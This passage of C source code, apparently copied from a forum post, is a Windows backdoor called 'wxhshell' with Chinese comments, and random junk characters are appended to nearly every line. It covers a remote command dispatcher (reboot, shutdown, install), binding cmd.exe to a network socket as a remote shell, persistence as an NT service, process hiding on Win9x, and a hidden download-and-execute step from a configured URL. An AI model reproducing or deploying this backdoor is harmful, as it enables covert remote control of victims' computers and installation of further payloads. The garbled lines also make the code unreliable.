  else { 33~MP;  
~:Rbd9IB  
    switch(cmd[0]) { Zv@qdY<:  
  FtTq*[a  
  // 帮助 i%o%bib#  
  case '?': { mOJdx-q?r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3H,x4L5j  
    break; RZHfT0*jL  
  } s~7a-J  
  // 安装 c 4AJ`f.5  
  case 'i': { wa@Rlzij>  
    if(Install()) ]he~KO[j<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t oA}0MI(:  
    else nL?P/ \  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M8-8 T  
    break; We y*\@  
    } {dF@Vg_n  
  // 卸载 FGn"j@m0  
  case 'r': { Ae7FtJO  
    if(Uninstall()) 3S3 a|_+%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MnD}i&k[  
    else s",Ea*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;n't:yQW  
    break; {<{VJGY7T  
    } x+Yo#u22  
  // 显示 wxhshell 所在路径 Jh.~]\u  
  case 'p': { 6)1PDlB  
    char svExeFile[MAX_PATH]; $6n J+  
    strcpy(svExeFile,"\n\r"); My>q%lF=fw  
      strcat(svExeFile,ExeFile); S]@;`_?m{  
        send(wsh,svExeFile,strlen(svExeFile),0); IT NFmD  
    break; 76D$Nm  
    } L"jA#ULg  
  // 重启 k<1i.rh  
  case 'b': { eQi^d/yi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !\#Wq{p>W*  
    if(Boot(REBOOT)) &-*l{"7p+%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A l;a~45  
    else { R([zlw~B5  
    closesocket(wsh); K3mP6Z#2  
    ExitThread(0); Milp"L?B%  
    } ~B[e*| d  
    break; ` +YtTK  
    } 6 ZRc|ZQ  
  // 关机 \~8W0q.4M  
  case 'd': { \HB fM&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7@"X?uo%o  
    if(Boot(SHUTDOWN)) s={>{,E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bf/6AY7  
    else { J299 mgB  
    closesocket(wsh); ,Mw93Kp Va  
    ExitThread(0); Un8' P8C  
    } (EcP'F*;;y  
    break; *w;?&)8%  
    } 6],?Y+_;)L  
  // 获取shell 4P#jMox  
  case 's': { 0y|1@CS  
    CmdShell(wsh); ';G/,wB?`  
    closesocket(wsh); 2Rw<0.i|  
    ExitThread(0); 3!9JXq%Hl  
    break; M_!]9#:K7  
  } <6;M\:Y*T  
  // 退出 rd&d~R6  
  case 'x': { $W|JQ h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '|gsmO  
    CloseIt(wsh); o<A-ETx<  
    break; @{b5x>KX  
    } N?m)u,6-l  
  // 离开 9X*Z\-  
  case 'q': { vk|f"I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W^09tx/I  
    closesocket(wsh); 07SW$INb  
    WSACleanup(); ;#zteqn  
    exit(1); tC'#dU`=qY  
    break; rL\}>VC)  
        } Xc NL\fl1  
  } <U$YJtEK  
  } `.;U)}Tn  
KK 7}q<&i  
  // 提示信息 [G brKq(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZN H-0mk  
} Xj]9/?B?  
  } \ C:Gx4K  
{*bx8*y1  
  return; UA'bE~i  
} o`,}b1lh  
Re~6 '  
// shell模块句柄 nY MtK  
int CmdShell(SOCKET sock) PW@ :fM:q  
{ PI L)(%X  
STARTUPINFO si; Otu?J_d3  
ZeroMemory(&si,sizeof(si)); h];H]15&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z5'^Hj1,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :V6 [_VaF  
PROCESS_INFORMATION ProcessInfo; $MvKwQ/  
char cmdline[]="cmd"; D0 k ,8|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ru d9l.n  
  return 0; L[44D6Vg  
} &p#PYs|H  
$|Ol?s  
// 自身启动模式 R/1e/t  
int StartFromService(void) Wj3i*x$  
{ t$qIJt$  
typedef struct PJ:!O?KVq  
{ |}^u<S8X  
  DWORD ExitStatus; UQkd$w<  
  DWORD PebBaseAddress; #<Y3*^~5d  
  DWORD AffinityMask; KiG19R$  
  DWORD BasePriority; N1Xg-u?ul#  
  ULONG UniqueProcessId; i9 CQ~  
  ULONG InheritedFromUniqueProcessId; q;R&valn  
}   PROCESS_BASIC_INFORMATION; _b>z'4_'  
vy2<'V*y}  
PROCNTQSIP NtQueryInformationProcess; \6GNKeN  
h7ZH/g$)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f\?Rhyz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X`<z5W] !  
[pms>TQ2  
  HANDLE             hProcess; :BR_%$  
  PROCESS_BASIC_INFORMATION pbi; r[):'ys,C  
=M:Po0?0E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7]So=% q  
  if(NULL == hInst ) return 0; bkR~>F]FAu  
0-OKbw5%=b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R%LFFMVn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _GY2|x2c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uN?Lz1W\;  
6VQQI9  
  if (!NtQueryInformationProcess) return 0; yU(}1ZID  
@Wd (>*"zw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "< Di  
  if(!hProcess) return 0; Uth+4Aq  
&!;o[joG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;*K;)C  
XU<owk  
  CloseHandle(hProcess); f3,LX]zKA  
`Gxb98h/r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BbFLT@W4  
if(hProcess==NULL) return 0; QDJ#zMxFD  
@fA| y  
HMODULE hMod; *eD[[HbKX  
char procName[255]; l %zbx"%x  
unsigned long cbNeeded; nQ'NS  
rVhfj~Ts  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g_PP 9S_?  
o S{hv:)>  
  CloseHandle(hProcess); vp&.  
^Rl?)_)1HE  
if(strstr(procName,"services")) return 1; // 以服务启动 D:K"J><@  
 0zr%8Q(Q  
  return 0; // 注册表启动 6f0o'  
} j+fF$6po#t  
DB|w&tygq  
// 主模块 AEf[:]i]  
int StartWxhshell(LPSTR lpCmdLine) !iHC++D  
{ NG\'Ii:-J  
  SOCKET wsl; RwK6u-u#9  
BOOL val=TRUE; b&,Z mDJh  
  int port=0; nIlx?(=pu  
  struct sockaddr_in door; Q<szH1-  
,d!@5d&Zi  
  if(wscfg.ws_autoins) Install(); ADxje%!1O  
Qru&lAYc<  
port=atoi(lpCmdLine); RI<s mt.Ng  
C:AV?  
if(port<=0) port=wscfg.ws_port; (VkO[5j  
IrRe6nf@K  
  WSADATA data; F `F|.TX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !:xE X~  
Y$, ++wx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k!z.6di  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 19% "F!^i  
  door.sin_family = AF_INET; JSq3)o9?/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); REcKfJTj  
  door.sin_port = htons(port); bFG?mG:  
IEM{?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "7fEL:|j  
closesocket(wsl); ZJFF4($qN  
return 1; >^W6'Q$P<  
} O,+9r_Gh  
u"T9w]Z\  
  if(listen(wsl,2) == INVALID_SOCKET) { <tO@dI$~>  
closesocket(wsl); c|'$3dB*  
return 1; >'m&/&h  
} A3HN Mz  
  Wxhshell(wsl); ~[aV\r?  
  WSACleanup(); it>Bf;  
s LDEa  
return 0; u46Z}~xfb  
3DCR n :  
} 2S:B%cj9m  
f;+.j/ +  
// 以NT服务方式启动 f]sR4mhO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iz[IK%K  
{ d@8: f  
DWORD   status = 0; 247vU1  
  DWORD   specificError = 0xfffffff; B4zuWCE@  
_h,X3P   
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4y4r;[@U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wmMn1q0F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l  ~xXy<  
  serviceStatus.dwWin32ExitCode     = 0; ~ e<,GUx(]  
  serviceStatus.dwServiceSpecificExitCode = 0; KqBiF]Q  
  serviceStatus.dwCheckPoint       = 0; >#;_Ebl@  
  serviceStatus.dwWaitHint       = 0; 2w~Vb0  
Jv%)UR.]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~rq:I<5  
  if (hServiceStatusHandle==0) return; p_zVrlVb  
V%t_,AT  
status = GetLastError(); Mx# P >.  
  if (status!=NO_ERROR) *Br }U  
{ { /8s`m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a~!7A ZT-O  
    serviceStatus.dwCheckPoint       = 0; qauvwAMuX  
    serviceStatus.dwWaitHint       = 0; lA6{TH.x  
    serviceStatus.dwWin32ExitCode     = status; ^[+2P?^K  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1 K^-tms  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -4 L27C  
    return; 1Qjc*+JzO.  
  } K0@bh/i/^  
T gLr4Ex  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wpNb/U  
  serviceStatus.dwCheckPoint       = 0; (KvN#d 1\  
  serviceStatus.dwWaitHint       = 0; %Zfh6Bl\X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @C('kUX~!  
} Dl\0xcE  
-EU=R_yg  
// 处理NT服务事件,比如:启动、停止 y+7+({w<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |<1A<fU8a  
{ hr&UD|E=  
switch(fdwControl) +,T}x+D  
{ 31]Vo;D  
case SERVICE_CONTROL_STOP: tp ky  
  serviceStatus.dwWin32ExitCode = 0; g<w1d{Td  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `USze0"t0:  
  serviceStatus.dwCheckPoint   = 0; Q2m 5&yy@s  
  serviceStatus.dwWaitHint     = 0; W=#jtU`:5  
  { E3x<o<v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wXYT(R  
  } ]g%HU%R-m  
  return; Oz xiT +  
case SERVICE_CONTROL_PAUSE: Un+-  T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A-^B ?E  
  break; `sv]/8RN  
case SERVICE_CONTROL_CONTINUE: plzwk>b_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hg\H>Z  
  break; xkkG#n)  
case SERVICE_CONTROL_INTERROGATE: "HJQAy?W  
  break; R&'Mze fb  
}; @te}Asv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hbx+*KM  
} h,/3 }  
;ae6h [  
// 标准应用程序主函数 Kr4%D*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !_dW  `  
{ ,6A/| K-  
'81Rwp  
// 获取操作系统版本 t?;=\%^<  
OsIsNt=GetOsVer(); ~PN[ #e]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }$@K   
e&m TaCLG  
  // 从命令行安装 YR)^F|G  
  if(strpbrk(lpCmdLine,"iI")) Install(); ILHn~d IC  
g,Rh Ut9  
  // 下载执行文件 5["n] i  
if(wscfg.ws_downexe) { F=UW[zy/[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #m'+1 s L  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~(cqFf  
} MGo`j:0  
bvJ*REPL ?  
if(!OsIsNt) { 1"1ElH  
// 如果时win9x,隐藏进程并且设置为注册表启动 k6;pi=sYNW  
HideProc(); (tg+C\ S.  
StartWxhshell(lpCmdLine); Wx8 cK=  
} nF 'U*  
else `y1,VY  
  if(StartFromService()) nxuR^6 Ai  
  // 以服务方式启动 H_l>L9/\  
  StartServiceCtrlDispatcher(DispatchTable); g(F2IpUm/  
else fKs3H?|  
  // 普通方式启动 CZCVC (/u  
  StartWxhshell(lpCmdLine); (<|1/^~=  
)9!J $q  
return 0; %nkbQ2^  
}
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只看该作者 1 发表于: 2006-10-10
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